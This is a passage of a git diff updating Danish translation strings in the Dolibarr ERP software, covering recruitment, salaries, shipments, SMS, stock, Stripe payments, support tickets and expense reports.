NoMorePredefinedProductToDispatch=Ikke flere foruddefinerede produkter, der skal sendes ReceptionExist=Der findes en reception -ByingPrice=Købs pris ReceptionBackToDraftInDolibarr=Modtagelse %s tilbage til udkast ReceptionClassifyClosedInDolibarr=Reception %s klassificeret Lukket ReceptionUnClassifyCloseddInDolibarr=Receptionen %s genåbner diff --git a/htdocs/langs/da_DK/recruitment.lang b/htdocs/langs/da_DK/recruitment.lang index ffcdd40040f..1466b14a6eb 100644 --- a/htdocs/langs/da_DK/recruitment.lang +++ b/htdocs/langs/da_DK/recruitment.lang @@ -57,15 +57,16 @@ EmailRecruiter=E-mail-rekrutterer ToUseAGenericEmail=At bruge en generisk e-mail. Hvis det ikke er defineret, vil e-mailen til den ansvarlige for rekrutteringen blive brugt NewCandidature=Ny applikation ListOfCandidatures=Liste over applikationer -RequestedRemuneration=Anmodet vederlag -ProposedRemuneration=Foreslået vederlag +Remuneration=Løn +RequestedRemuneration=Ønsket løn +ProposedRemuneration=Foreslået løn ContractProposed=Foreslået kontrakt ContractSigned=Kontrakt underskrevet ContractRefused=Kontrakten blev afvist RecruitmentCandidature=Ansøgning JobPositions=Jobstillinger RecruitmentCandidatures=Ansøgninger -InterviewToDo=Interview at gøre +InterviewToDo=Kontakter at følge AnswerCandidature=Ansøgning svar YourCandidature=Din ansøgning YourCandidatureAnswerMessage=Tak for din ansøgning.
      ... diff --git a/htdocs/langs/da_DK/salaries.lang b/htdocs/langs/da_DK/salaries.lang index d820149ac05..a3bd48bd01c 100644 --- a/htdocs/langs/da_DK/salaries.lang +++ b/htdocs/langs/da_DK/salaries.lang @@ -1,6 +1,6 @@ # Dolibarr language file - Source file is en_US - salaries -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Regnskabskonto bruges til tredjepart -SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Den dedikerede regnskabskonto, der er defineret på brugerkort, vil kun blive anvendt til underledere. Denne vil blive brugt til General Ledger og som standardværdi for Subledger regnskab, hvis dedikeret brugerregnskabskonto på bruger ikke er defineret. +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT=Konto (fra kontoplanen) bruges som standard til "bruger" tredjeparter +SALARIES_ACCOUNTING_ACCOUNT_PAYMENT_Desc=Den dedikerede konto, der er defineret på brugerkortet, vil kun blive brugt til underreskontering. Denne vil blive brugt til hovedbog og som standardværdi for underreskontering, hvis dedikeret brugerkonti på bruger ikke er defineret. SALARIES_ACCOUNTING_ACCOUNT_CHARGE=Regnskabskonto som standard for lønudbetalinger CREATE_NEW_SALARY_WITHOUT_AUTO_PAYMENT=Lad som standard tomt være indstillingen "Opret automatisk en samlet betaling", når du opretter en løn Salary=Løn @@ -24,3 +24,4 @@ SalariesStatistics=Lønstatistik SalariesAndPayments=Løn og betalinger ConfirmDeleteSalaryPayment=Vil du slette denne lønudbetaling? FillFieldFirst=Udfyld medarbejderfeltet først +UpdateAmountWithLastSalary=Sæt beløb med sidste løn diff --git a/htdocs/langs/da_DK/sendings.lang b/htdocs/langs/da_DK/sendings.lang index d637fb62d51..27c589a6fb1 100644 --- a/htdocs/langs/da_DK/sendings.lang +++ b/htdocs/langs/da_DK/sendings.lang @@ -1,45 +1,45 @@ # Dolibarr language file - Source file is en_US - sendings RefSending=Ref. afsendelse -Sending=Sender -Sendings=Sendings +Sending=Forsendelse +Sendings=Forsendelser AllSendings=Alle forsendelser -Shipment=Sender +Shipment=Forsendelse Shipments=Forsendelser ShowSending=Vis forsendelser Receivings=Leverings kvitteringer -SendingsArea=Sendings område -ListOfSendings=Liste over sendings -SendingMethod=Afsendelse metode +SendingsArea=Forsendelses område +ListOfSendings=Liste over forsendelser +SendingMethod=Afsendelses metode LastSendings=Seneste %s forsendelser -StatisticsOfSendings=Statistik over sendings -NbOfSendings=Antal sendings +StatisticsOfSendings=Statistik over forsendelser +NbOfSendings=Antal forsendelser NumberOfShipmentsByMonth=Antal forsendelser pr. Måned SendingCard=Forsendelse kort -NewSending=Ny afsendelse -CreateShipment=Opret afsendelse +NewSending=Ny forsendelse +CreateShipment=Opret forsendelse QtyShipped=Antal afsendt -QtyShippedShort=Antal skibe. +QtyShippedShort=Antal afsendt QtyPreparedOrShipped=Antal forberedt eller afsendt QtyToShip=Antal til afsendelse QtyToReceive=Antal at modtage QtyReceived=Antal modtagne QtyInOtherShipments=Antal i andre forsendelser KeepToShip=Bliv ved at sende -KeepToShipShort=Forblive -OtherSendingsForSameOrder=Andre sendings for denne ordre +KeepToShipShort=Tilbage +OtherSendingsForSameOrder=Andre forsendelser i denne ordre SendingsAndReceivingForSameOrder=Forsendelser og kvitteringer for denne ordre -SendingsToValidate=Henvist til bekræfte -StatusSendingCanceled=Aflyst -StatusSendingCanceledShort=Aflyst +SendingsToValidate=Forsendelser til bekræftelse +StatusSendingCanceled=Annulleret +StatusSendingCanceledShort=Annulleret StatusSendingDraft=Udkast StatusSendingValidated=Bekræftet (varer til afsendelse eller allerede afsendt) -StatusSendingProcessed=Forarbejdet +StatusSendingProcessed=Gennemført StatusSendingDraftShort=Udkast -StatusSendingValidatedShort=Bekræftet +StatusSendingValidatedShort=Gennemført StatusSendingProcessedShort=Forarbejdet SendingSheet=Forsendelsesark ConfirmDeleteSending=Er du sikker på, at du vil slette denne forsendelse? -ConfirmValidateSending=Er du sikker på, at du vil bekræfte denne forsendelse med henvisning %s ? +ConfirmValidateSending=Er du sikker på, at du vil bekræfte denne forsendelse med henvisning %s? ConfirmCancelSending=Er du sikker på, at du vil annullere denne forsendelse? DocumentModelMerou=Merou A5 model WarningNoQtyLeftToSend=Advarsel, ingen varer venter på at blive sendt. @@ -59,7 +59,7 @@ ProductQtyInCustomersOrdersRunning=Produktmængde fra åbne salgsordrer ProductQtyInSuppliersOrdersRunning=Produktmængde fra åbne indkøbsordrer ProductQtyInShipmentAlreadySent=Produktmængde fra åben salgsordre allerede sendt ProductQtyInSuppliersShipmentAlreadyRecevied=Produktmængde fra allerede modtagne åbne indkøbsordrer -NoProductToShipFoundIntoStock=Intet produkt til skib fundet i lageret %s . Ret lager eller gå tilbage for at vælge et andet lager. +NoProductToShipFoundIntoStock=Intet produkt til afsendelse fundet i lageret %s. Ret lager eller gå tilbage for at vælge et andet lager. WeightVolShort=Vægt / vol. ValidateOrderFirstBeforeShipment=Du skal først bekræfte ordren, inden du kan foretage forsendelser. diff --git a/htdocs/langs/da_DK/sms.lang b/htdocs/langs/da_DK/sms.lang index d6af28933f3..fced7650095 100644 --- a/htdocs/langs/da_DK/sms.lang +++ b/htdocs/langs/da_DK/sms.lang @@ -8,7 +8,7 @@ SmsTargets=Mål SmsRecipients=Mål SmsRecipient=Mål SmsTitle=Beskrivelse -SmsFrom=Sender +SmsFrom=Afsender SmsTo=Mål SmsTopic=Emne af SMS SmsText=Besked diff --git a/htdocs/langs/da_DK/stocks.lang b/htdocs/langs/da_DK/stocks.lang index 1367640112b..72bb4f20ca8 100644 --- a/htdocs/langs/da_DK/stocks.lang +++ b/htdocs/langs/da_DK/stocks.lang @@ -24,6 +24,7 @@ StockAtDateInFuture=Dato i fremtiden StocksByLotSerial=Lagerført efter parti/seriel LotSerial=Parti/Serienr LotSerialList=Liste over partier/seriernr. +SubjectToLotSerialOnly=Produkter kun underlagt parti/serie Movements=Bevægelser ErrorWarehouseRefRequired=Varelagers reference navn er påkrævet ListOfWarehouses=Liste over Varelagre @@ -48,7 +49,7 @@ StockCorrection=Lagerkorrektion CorrectStock=Korrekt lager StockTransfer=Lageroverførsel TransferStock=Overført lager -MassStockTransferShort=Lager overførsel +MassStockTransferShort=Bulk lager ændring StockMovement=Lager bevægelse StockMovements=Lagerbevægelser NumberOfUnit=Antal enheder @@ -146,8 +147,9 @@ Replenishments=genopfyldninger NbOfProductBeforePeriod=Mængde af produkt %s på lager inden valgt periode (<%s) NbOfProductAfterPeriod=Mængde af produkt %s på lager efter valgt periode (> %s) MassMovement=Massebehandling -SelectProductInAndOutWareHouse=Vælg et kildelager og et mållager, et produkt og en mængde, og klik derefter på "%s". Når dette er gjort for alle krævede bevægelser, skal du klikke på "%s". +SelectProductInAndOutWareHouse=Vælg et kildelager (valgfrit), et mållager, et produkt og en mængde og klik derefter på "%s". Når dette er gjort for alle nødvendige bevægelser, skal du klikke på "%s". RecordMovement=Optag overførsel +RecordMovements=Registrer lagerbevægelser ReceivingForSameOrder=Kvitteringer for denne ordre StockMovementRecorded=Aktiebevægelser registreret RuleForStockAvailability=Regler om lagerkrav @@ -217,7 +219,7 @@ RealValue=Reel værdi RegulatedQty=Reguleret antal AddInventoryProduct=Tilføj produkt til lager AddProduct=Tilføj -ApplyPMP=Påfør PMP +ApplyPMP=Anvend PMP FlushInventory=Spyl opgørelse ConfirmFlushInventory=Bekræfter du denne handling? InventoryFlushed=Lagerbeholdningen skyllet @@ -234,7 +236,7 @@ StockIncrease=Lagerforøgelse StockDecrease=Lagerfald InventoryForASpecificWarehouse=Beholdning til et specifikt lager InventoryForASpecificProduct=Beholdning for et specifikt produkt -StockIsRequiredToChooseWhichLotToUse=Lager kræves for at vælge, hvilket parti der skal bruges +StockIsRequiredToChooseWhichLotToUse=Der kræves et eksisterende lager for at kunne vælge hvilket parti der skal bruges ForceTo=Tving til AlwaysShowFullArbo=Vis hele træets lagertrin ved pop op af warehouse-links (Advarsel: Dette kan mindske ydeevne dramatisk) StockAtDatePastDesc=Du kan her se aktien (ægte aktier) på en given dato i fortiden @@ -270,7 +272,7 @@ InventoryStartedShort=Startet ErrorOnElementsInventory=Operationen blev annulleret af følgende årsag: ErrorCantFindCodeInInventory=Kan ikke finde følgende kode i inventaret QtyWasAddedToTheScannedBarcode=Succes!! Mængden blev tilføjet til alle de ønskede stregkoder. Du kan lukke scannerværktøjet. -StockChangeDisabled=Ændring på lager deaktiveret +StockChangeDisabled=Lagerændring deaktiveret NoWarehouseDefinedForTerminal=Intet lager defineret for terminal ClearQtys=Ryd alle mængder ModuleStockTransferName=Avanceret lageroverførsel diff --git a/htdocs/langs/da_DK/stripe.lang b/htdocs/langs/da_DK/stripe.lang index 2caa038cc39..173725802f8 100644 --- a/htdocs/langs/da_DK/stripe.lang +++ b/htdocs/langs/da_DK/stripe.lang @@ -41,7 +41,8 @@ STRIPE_LIVE_WEBHOOK_KEY=Webhook-livenøgle ONLINE_PAYMENT_WAREHOUSE=Lager til brug for lagerreduktion, når online betaling er færdig
      (TODO Når valgmuligheden for at reducere lagerbeholdningen sker på en handling på faktura, og online betaling genererer selve fakturaen?) StripeLiveEnabled=Stripe live aktiveret (ellers test / sandbox mode) StripeImportPayment=Import Stripe betalinger -ExampleOfTestCreditCard=Eksempel på kreditkort til test:%s => gyldigt,%s => fejl CVC,%s => udløbet, %s=> gebyr mislykkes +ExampleOfTestCreditCard=Eksempel på kreditkort til SEPA-test: %s => gyldig, %s => fejl CVC, %s => udløbet, %s => opladning mislykkes +ExampleOfTestBankAcountForSEPA=Eksempel på bankkonto BAN til test af direkte debitering: %s StripeGateways=Stripe gateways OAUTH_STRIPE_TEST_ID=Stripe Connect Client ID (ca. _...) OAUTH_STRIPE_LIVE_ID=Stripe Connect Client ID (ca. _...) @@ -61,6 +62,7 @@ DeleteACard=Slet kort ConfirmDeleteCard=Er du sikker på, at du vil slette dette kredit- eller betalingskort? CreateCustomerOnStripe=Opret kunde på Stripe CreateCardOnStripe=Opret kort på Stripe +CreateBANOnStripe=Opret bank på Stripe ShowInStripe=Vis i Stripe StripeUserAccountForActions=Brugerkonto, der skal bruges til e-mail-meddelelse om nogle Stripe begivenheder (Stripe udbetalinger) StripePayoutList=Liste over Stripe udbetalinger @@ -69,4 +71,8 @@ ToOfferALinkForLiveWebhook=Link til opsætning Stripe WebHook for at ringe til I PaymentWillBeRecordedForNextPeriod=Betaling registreres for den næste periode. ClickHereToTryAgain=Klik her for at prøve igen ... CreationOfPaymentModeMustBeDoneFromStripeInterface=På grund af stærke kunde autentificerings regler skal oprettelse af et kort foretages fra Stripe backoffice. Du kan klikke her for at tænde for Stripe-kundepost:%s -TERMINAL_LOCATION=Placering (adresse) for terminaler +STRIPE_CARD_PRESENT=Kort til stede til Stripe-terminaler +TERMINAL_LOCATION=Placering (adresse) for Stripe Terminals +RequestDirectDebitWithStripe=Anmod om direkte debitering med Stripe +STRIPE_SEPA_DIRECT_DEBIT=Aktiver direkte debitering via Stripe + diff --git a/htdocs/langs/da_DK/ticket.lang b/htdocs/langs/da_DK/ticket.lang index 1c43340d3d0..d76b0d980e7 100644 --- a/htdocs/langs/da_DK/ticket.lang +++ b/htdocs/langs/da_DK/ticket.lang @@ -26,7 +26,9 @@ Permission56002=Ændre sager Permission56003=Slet sager Permission56004=Administrer sager Permission56005=Se sager fra alle tredjepart (ikke effektiv for eksterne brugere, vær altid begrænset til den tredjepart, de er afhængige af) +Permission56006=Eksportér billetter +Tickets=Sager TicketDictType=Sag - Typer TicketDictCategory=Sag - Grupper TicketDictSeverity=Sag - Alvorlighed @@ -50,7 +52,7 @@ TicketCategoryShortOTHER=Andre ErrorBadEmailAddress=Felt '%s' forkert MenuTicketMyAssign=Mine sager MenuTicketMyAssignNonClosed=Mine åbne sager -MenuListNonClosed=Åbene sager +MenuListNonClosed=Åbne sager TypeContact_ticket_internal_CONTRIBUTOR=Bidragyder TypeContact_ticket_internal_SUPPORTTEC=Tildelt bruger @@ -60,6 +62,8 @@ TypeContact_ticket_external_CONTRIBUTOR=Ekstern bidragyder OriginEmail=Sagsopretter e-mail Notify_TICKET_SENTBYMAIL=Send sagsbesked via e-mail +ExportDataset_ticket_1=Sager + # Status Read=Læs Assigned=Tildelt @@ -91,7 +95,7 @@ TicketSetupDictionaries=Typen af sag, alvorlighed og analytiske koder kan konfig TicketParamModule=Indstilling af modulvariabler TicketParamMail=E-mail opsætning TicketEmailNotificationFrom=Afsender e-mail for besked om svar -TicketEmailNotificationFromHelp=Afsender-e-mail, der skal bruges til at sende meddelelses-e-mailen, når der gives et svar inde i backoffice. For eksempel noreply@example.com +TicketEmailNotificationFromHelp=Afsender adresse, der skal bruges til at sende notifikations e-mail, når svaret er angivet i backoffice. For eksempel noreply@example.com TicketEmailNotificationTo=Giv besked om oprettelse af billet til denne e-mailadresse TicketEmailNotificationToHelp=Hvis den er til stede, vil denne e-mailadresse blive underrettet om oprettelse af billet TicketNewEmailBodyLabel=Tekstbesked sendt efter oprettelse af en sag @@ -149,6 +153,8 @@ TicketsAutoNotifyCloseHelp=Når du lukker en billet, vil du blive foreslået at TicketWrongContact=Forudsat kontakt ikke er en del af aktuelle billetkontakter. E-mail ikke sendt. TicketChooseProductCategory=Produktkategori til billetsupport TicketChooseProductCategoryHelp=Vælg produktkategori for billetsupport. Dette vil blive brugt til automatisk at knytte en kontrakt til en billet. +TicketUseCaptchaCode=Brug grafisk kode (CAPTCHA), når du opretter en billet +TicketUseCaptchaCodeHelp=Tilføjer CAPTCHA-bekræftelse, når du opretter en ny billet. # # Index & list page @@ -180,7 +186,7 @@ CreatedBy=Lavet af NewTicket=Ny sag SubjectAnswerToTicket=Sags svar TicketTypeRequest=Anmodningstype -TicketCategory=Sagskategorisering +TicketCategory=Billetgruppe SeeTicket=Se sag TicketMarkedAsRead=Sagen er blevet markeret som læst TicketReadOn=Læs videre @@ -192,8 +198,7 @@ TicketAssigned=Sagen er nu tildelt TicketChangeType=Skift type TicketChangeCategory=Skift analytisk kode TicketChangeSeverity=Ændre alvorligheden -TicketAddMessage=Tilføj en besked -AddMessage=Tilføj en besked +TicketAddMessage=Tilføj privat besked MessageSuccessfullyAdded=Sag tilføjet TicketMessageSuccessfullyAdded=Meddelelse med tilføjet TicketMessagesList=Meddelelsesliste @@ -204,8 +209,8 @@ TicketSeverity=Alvorlighed ShowTicket=Se sag RelatedTickets=Relaterede sager TicketAddIntervention=Opret indgreb -CloseTicket=Luk | Løs sag -AbandonTicket=Efterlad sag +CloseTicket=Luk|Løst +AbandonTicket=Opgive CloseATicket=Luk | Løs en sag ConfirmCloseAticket=Bekræft afslutningen af sagen ConfirmAbandonTicket=Bekræfter du lukningen af sagen med status 'Efterladt' @@ -219,18 +224,17 @@ SendMessageByEmail=Send besked via e-mail TicketNewMessage=Ny besked ErrorMailRecipientIsEmptyForSendTicketMessage=Modtageren er tom. Ingen e-mail sendt TicketGoIntoContactTab=Gå til fanen "Kontakter" for at vælge dem -TicketMessageMailIntro=Introduktion +TicketMessageMailIntro=Meddelelsesoverskrift TicketMessageMailIntroHelp=Denne tekst tilføjes kun i begyndelsen af ​​e-mailen og bliver ikke gemt. -TicketMessageMailIntroLabelAdmin=Introduktionstekst til alle billetbesvarelser TicketMessageMailIntroText=Hej
      Der er tilføjet et nyt svar til en billet, som du følger. Her er beskeden:
      TicketMessageMailIntroHelpAdmin=Denne tekst vil blive indsat før svaret, når du svarer på en billet fra Dolibarr -TicketMessageMailSignature=Underskrift -TicketMessageMailSignatureHelp=Denne tekst tilføjes kun i slutningen af ​​e-mailen og bliver ikke gemt. -TicketMessageMailSignatureText=Besked sendt af %s via Dolibarr -TicketMessageMailSignatureLabelAdmin=Signatur af svar Email -TicketMessageMailSignatureHelpAdmin=Denne tekst indsættes efter svarmeddelelsen. +TicketMessageMailFooter=Meddelelsesfod +TicketMessageMailFooterHelp=Denne tekst tilføjes kun i slutningen af meddelelsen sendt via e-mail og vil ikke blive gemt. +TicketMessageMailFooterText=Besked sendt af %s via Dolibarr +TicketMessageMailFooterHelpAdmin=Denne tekst vil blive indsat efter svarmeddelelsen. TicketMessageHelp=Kun denne tekst gemmes i meddelelseslisten på sagskortet. TicketMessageSubstitutionReplacedByGenericValues=Substitutionsvariabler erstattes af generiske værdier. +ForEmailMessageWillBeCompletedWith=For e-mail-beskeder sendt til eksterne brugere vil meddelelsen blive udfyldt med TimeElapsedSince=Tid forløbet siden TicketTimeToRead=Tid forløbet før læst TicketTimeElapsedBeforeSince=Forløbet tid før / siden @@ -241,6 +245,7 @@ TicketMessageMailIntroAutoNewPublicMessage=En ny besked blev sendt på sagen med TicketAssignedToYou=Sag tildelt TicketAssignedEmailBody=Du er blevet tildelt sag# %s ved %s MarkMessageAsPrivate=Markér besked som privat +TicketMessageSendEmailHelp=En e-mail vil blive sendt til alle tildelte kontakter (interne kontakter, men også eksterne kontakter, undtagen hvis indstillingen "%s" er markeret) TicketMessagePrivateHelp=Denne meddelelse vises ikke til eksterne brugere TicketEmailOriginIssuer=Udsteder ved oprindelsen af opgaven InitialMessage=Indledende besked @@ -296,7 +301,7 @@ TicketNewEmailBodyInfosTrackUrlCustomer=Du kan se fremskridt på sagen i den spe TicketCloseEmailBodyInfosTrackUrlCustomer=Du kan se historikken for denne billet ved at klikke på følgende link TicketEmailPleaseDoNotReplyToThisEmail=Venligst svar ikke direkte på denne email! Brug linket til at svare på grænsefladen. TicketPublicInfoCreateTicket=Denne formular giver dig mulighed for at oprette en support sag i vores sagssystem. -TicketPublicPleaseBeAccuratelyDescribe=Beskriv venligst problemet korrekt. Giv den mest mulige information, så vi kan identificere din anmodning korrekt. +TicketPublicPleaseBeAccuratelyDescribe=Beskriv venligst dit spørgsmål nøjagtigt. Angiv så mange oplysninger som muligt for at give os mulighed for korrekt at identificere din anmodning. TicketPublicMsgViewLogIn=Indtast venligst sag ID TicketTrackId=Offentlig sporings ID OneOfTicketTrackId=Et af dine sporings ID'er diff --git a/htdocs/langs/da_DK/trips.lang b/htdocs/langs/da_DK/trips.lang index 7462ce544e1..41be01501a4 100644 --- a/htdocs/langs/da_DK/trips.lang +++ b/htdocs/langs/da_DK/trips.lang @@ -1,150 +1,152 @@ # Dolibarr language file - Source file is en_US - trips -ShowExpenseReport=Vis omkostningsrapport -Trips=Udgiftsrapporter -TripsAndExpenses=Udgifter rapporter -TripsAndExpensesStatistics=Omkostningsrapporteringstatistik -TripCard=Udgiftsrapport kort +AUTHOR=Optaget af +AUTHORPAIEMENT=Betalt af AddTrip=Opret omkostningsrapport -ListOfTrips=Liste over udgiftsrapporter -ListOfFees=Liste over gebyrer -TypeFees=Typer af gebyrer -ShowTrip=Vis omkostningsrapport -NewTrip=Ny udgiftsrapport -LastExpenseReports=Seneste %s udgiftsrapporter +AllExpenseReport=Alle typer udgiftsrapport AllExpenseReports=Alle udgiftsrapporter -CompanyVisited=Besøgt firma / organisation -FeesKilometersOrAmout=Beløb eller kilometer -DeleteTrip=Slet udgiftsrapport -ConfirmDeleteTrip=Er du sikker på, at du vil slette denne udgiftsrapport? -ListTripsAndExpenses=Liste over udgiftsrapporter -ListToApprove=Venter på godkendelse -ExpensesArea=Omkostningsrapporteringsområde +AnyOtherInThisListCanValidate=Person, der skal informeres om validering af anmodningen. +AttachTheNewLineToTheDocument=Fastgør linjen til et uploadet dokument +AucuneLigne=Der er ikke angivet nogen omkostningsrapport endnu +BrouillonnerTrip=Flyt tilbage bekostning rapport til status "Udkast" +byEX_DAY=om dagen (begrænsning til %s) +byEX_EXP=for linje (begrænsning til %s) +byEX_MON=efter måned (begrænsning til %s) +byEX_YEA=efter år (begrænsning til %s) +CANCEL_USER=Slettet af +CarCategory=Køretøjskategori ClassifyRefunded=Klassificer 'refunderet' +CompanyVisited=Besøgt firma / organisation +ConfirmBrouillonnerTrip=Er du sikker på, at du vil flytte denne udgiftsrapport til status "Udkast"? +ConfirmCancelTrip=Er du sikker på, at du vil annullere denne udgiftsrapport? +ConfirmCloneExpenseReport=Er du sikker på, at du vil klone denne omkostningsrapport? +ConfirmDeleteTrip=Er du sikker på, at du vil slette denne udgiftsrapport? +ConfirmPaidTrip=Er du sikker på, at du vil ændre status for denne udgiftsrapport til "Betalt"? +ConfirmRefuseTrip=Er du sikker på, at du vil nægte denne udgiftsrapport? +ConfirmSaveTrip=Er du sikker på, at du vil bekræfte denne udgiftsrapport? +ConfirmValideTrip=Er du sikker på, at du vil godkende denne udgiftsrapport? +DATE_CANCEL=Annulleringsdato +DATE_PAIEMENT=Betalingsdato +DATE_REFUS=Nægte dato +DATE_SAVE=Bekræftelsesdato +DefaultCategoryCar=Standard transport mode +DefaultRangeNumber=Standard interval nummer +DeleteTrip=Slet udgiftsrapport +ErrorDoubleDeclaration=Du har erklæret en anden regningsrapport i et lignende datointerval. +Error_EXPENSEREPORT_ADDON_NotDefined=Fejl, reglen for udgiftsrapport nummerering ref blev ikke defineret i opsætning af modul 'Udgiftsrapport' +ExpenseRangeOffset=Forskudsbeløb: %s +expenseReportCatDisabled=Kategori deaktiveret - se c_exp_tax_cat ordbogen +expenseReportCoef=Koefficient +expenseReportCoefUndefined=(værdi ikke defineret) +expenseReportOffset=Offset +expenseReportPrintExample=offset + (d x coef) = %s +expenseReportRangeDisabled=Område deaktiveret - se c_exp_tax_range dictionay +expenseReportRangeFromTo=fra %d til %d +expenseReportRangeMoreThan=mere end %d +expenseReportTotalForFive=Eksempel med d = 5 +ExpenseReportApplyTo=Anvend til +ExpenseReportApproved=En udgiftsrapport blev godkendt +ExpenseReportApprovedMessage=Udgiftsrapporten %s blev godkendt.
      - Bruger: %s
      - Godkendt af: %s
      Klik her for at vise udgiftsrapporten: %s +ExpenseReportCanceled=En udgiftsrapport blev annulleret +ExpenseReportCanceledMessage=Udgiftsrapporten %s blev annulleret.
      - Bruger: %s
      - Annulleret af: %s
      - Motiv for annullering: %s
      Klik her for at vise udgiftsrapporten: %s +ExpenseReportConstraintViolationError=Maks. beløb overskredet (regel %s): %s er højere end %s (overskridelse forbudt) +ExpenseReportConstraintViolationWarning=Maks. beløb overskredet (regel %s): %s er højere end %s (overskrider tilladt) +ExpenseReportDateEnd=Dato udgangen +ExpenseReportDateStart=Dato start +ExpenseReportDomain=Domæne at anvende +ExpenseReportIkDesc=Du kan ændre beregningen af ​​kilometerudgifter efter kategori og rækkevidde, hvem de tidligere er defineret. d er afstanden i kilometer +ExpenseReportLimitAmount=Max beløb +ExpenseReportLimitOn=Begræns på +ExpenseReportLine=Udgiftsrapport linje +ExpenseReportPaid=En udgiftsrapport blev betalt +ExpenseReportPaidMessage=Udgiftsrapporten %s blev betalt.
      - Bruger: %s
      - Betalt af: %s
      Klik her for at vise udgiftsrapporten: %s +ExpenseReportPayment=Udgift rapport betaling +ExpenseReportRef=Ref. udgiftsrapport +ExpenseReportRefused=En udgiftsrapport blev afvist +ExpenseReportRefusedMessage=Udgiftsrapporten %s blev afvist.
      - Bruger: %s
      - Afvist af: %s
      - Motiver til afvisning: %s
      Klik her for at vise udgiftsrapporten: %s +ExpenseReportRestrictive=Overskridelse forbudt +ExpenseReportRuleErrorOnSave=Fejl: %s +ExpenseReportRuleSave=Regnskabsregnskabsreglen er gemt +ExpenseReportRulesDesc=Du kan definere maks. beløbsregler for udgiftsrapporter. Disse regler vil blive anvendt, når en ny udgift tilføjes en udgiftsrapport ExpenseReportWaitingForApproval=En ny udgiftsrapport er indsendt til godkendelse ExpenseReportWaitingForApprovalMessage=En ny udgiftsrapport er indsendt og venter på godkendelse.
      - Bruger: %s
      - Periode: %s
      Klik her for at bekræfte: %s ExpenseReportWaitingForReApproval=En udgiftsrapport er indsendt til genoptagelse ExpenseReportWaitingForReApprovalMessage=En udgiftsrapport er indsendt og venter på genkendelse.
      %s, du nægtede at godkende regningsrapporten af ​​denne grund: %s.
      En ny version er blevet foreslået og venter på din godkendelse.
      - Bruger: %s
      - Periode: %s
      Klik her for at bekræfte: %s -ExpenseReportApproved=En udgiftsrapport blev godkendt -ExpenseReportApprovedMessage=Udgiftsrapporten %s blev godkendt.
      - Bruger: %s
      - Godkendt af: %s
      Klik her for at vise udgiftsrapporten: %s -ExpenseReportRefused=En udgiftsrapport blev afvist -ExpenseReportRefusedMessage=Udgiftsrapporten %s blev afvist.
      - Bruger: %s
      - Afvist af: %s
      - Motiver til afvisning: %s
      Klik her for at vise udgiftsrapporten: %s -ExpenseReportCanceled=En udgiftsrapport blev annulleret -ExpenseReportCanceledMessage=Udgiftsrapporten %s blev annulleret.
      - Bruger: %s
      - Annulleret af: %s
      - Motiv for annullering: %s
      Klik her for at vise udgiftsrapporten: %s -ExpenseReportPaid=En udgiftsrapport blev betalt -ExpenseReportPaidMessage=Udgiftsrapporten %s blev betalt.
      - Bruger: %s
      - Betalt af: %s
      Klik her for at vise udgiftsrapporten: %s -TripId=Id udgiftsrapport -AnyOtherInThisListCanValidate=Person, der skal informeres om validering af anmodningen. -TripSociete=Informationsselskab -TripNDF=Informationsomkostningsrapport -PDFStandardExpenseReports=Standard skabelon til at generere et PDF-dokument til udgiftsrapport -ExpenseReportLine=Udgiftsrapport linje -TF_OTHER=Anden -TF_TRIP=Transport -TF_LUNCH=Frokost -TF_METRO=Metro -TF_TRAIN=Tog -TF_BUS=Bus -TF_CAR=Bil -TF_PEAGE=Afgift -TF_ESSENCE=Brændstof -TF_HOTEL=Hotel -TF_TAXI=Taxa -EX_KME=Mileage omkostninger -EX_FUE=Brændstof CV -EX_HOT=Hotel -EX_PAR=Parkering CV -EX_TOL=Toll CV -EX_TAX=Forskellige skatter -EX_IND=Skadesløsholdelse transport abonnement -EX_SUM=Vedligeholdelsesforsyning -EX_SUO=Kontorartikler -EX_CAR=Biludlejning -EX_DOC=Dokumentation -EX_CUR=Kunder modtager -EX_OTR=Anden modtagelse -EX_POS=Porto -EX_CAM=CV vedligeholdelse og reparation -EX_EMM=Ansatte måltid -EX_GUM=Gæster måltid -EX_BRE=Morgenmad -EX_FUE_VP=Brændstof PV -EX_TOL_VP=Toll PV -EX_PAR_VP=Parkering PV -EX_CAM_VP=PV vedligeholdelse og reparation -DefaultCategoryCar=Standard transport mode -DefaultRangeNumber=Standard interval nummer -UploadANewFileNow=Upload et nyt dokument nu -Error_EXPENSEREPORT_ADDON_NotDefined=Fejl, reglen for udgiftsrapport nummerering ref blev ikke defineret i opsætning af modul 'Udgiftsrapport' -ErrorDoubleDeclaration=Du har erklæret en anden regningsrapport i et lignende datointerval. -AucuneLigne=Der er ikke angivet nogen omkostningsrapport endnu -ModePaiement=Betalingsmåde -VALIDATOR=Bruger ansvarlig for godkendelse -VALIDOR=Godkendt af -AUTHOR=Optaget af -AUTHORPAIEMENT=Betalt af -REFUSEUR=Nægtet af -CANCEL_USER=Slettet af -MOTIF_REFUS=Årsag -MOTIF_CANCEL=Årsag -DATE_REFUS=Nægte dato -DATE_SAVE=Bekræftelsesdato -DATE_CANCEL=Annulleringsdato -DATE_PAIEMENT=Betalingsdato -ExpenseReportRef=Ref. udgiftsrapport -ValidateAndSubmit=Bekræft og indsend for godkendelse -ValidatedWaitingApproval=Bekræftet (venter på godkendelse) -NOT_AUTHOR=Du er ikke forfatteren af ​​denne udgiftsrapport. Drift aflyst. -ConfirmRefuseTrip=Er du sikker på, at du vil nægte denne udgiftsrapport? -ValideTrip=Godkendelse af udgiftsrapport -ConfirmValideTrip=Er du sikker på, at du vil godkende denne udgiftsrapport? -PaidTrip=Betal en udgiftsrapport -ConfirmPaidTrip=Er du sikker på, at du vil ændre status for denne udgiftsrapport til "Betalt"? -ConfirmCancelTrip=Er du sikker på, at du vil annullere denne udgiftsrapport? -BrouillonnerTrip=Flyt tilbage bekostning rapport til status "Udkast" -ConfirmBrouillonnerTrip=Er du sikker på, at du vil flytte denne udgiftsrapport til status "Udkast"? -SaveTrip=Bekræfte udgiftsrapport -ConfirmSaveTrip=Er du sikker på, at du vil bekræfte denne udgiftsrapport? -NoTripsToExportCSV=Ingen udgiftsrapport til eksport for denne periode. -ExpenseReportPayment=Udgift rapport betaling -ExpenseReportsToApprove=Udgiftsrapporter til at godkende -ExpenseReportsToPay=Udgifter rapporterer at betale -ConfirmCloneExpenseReport=Er du sikker på, at du vil klone denne omkostningsrapport? ExpenseReportsIk=Konfiguration af kilometertal ExpenseReportsRules=Regnskabsregnskabsregler 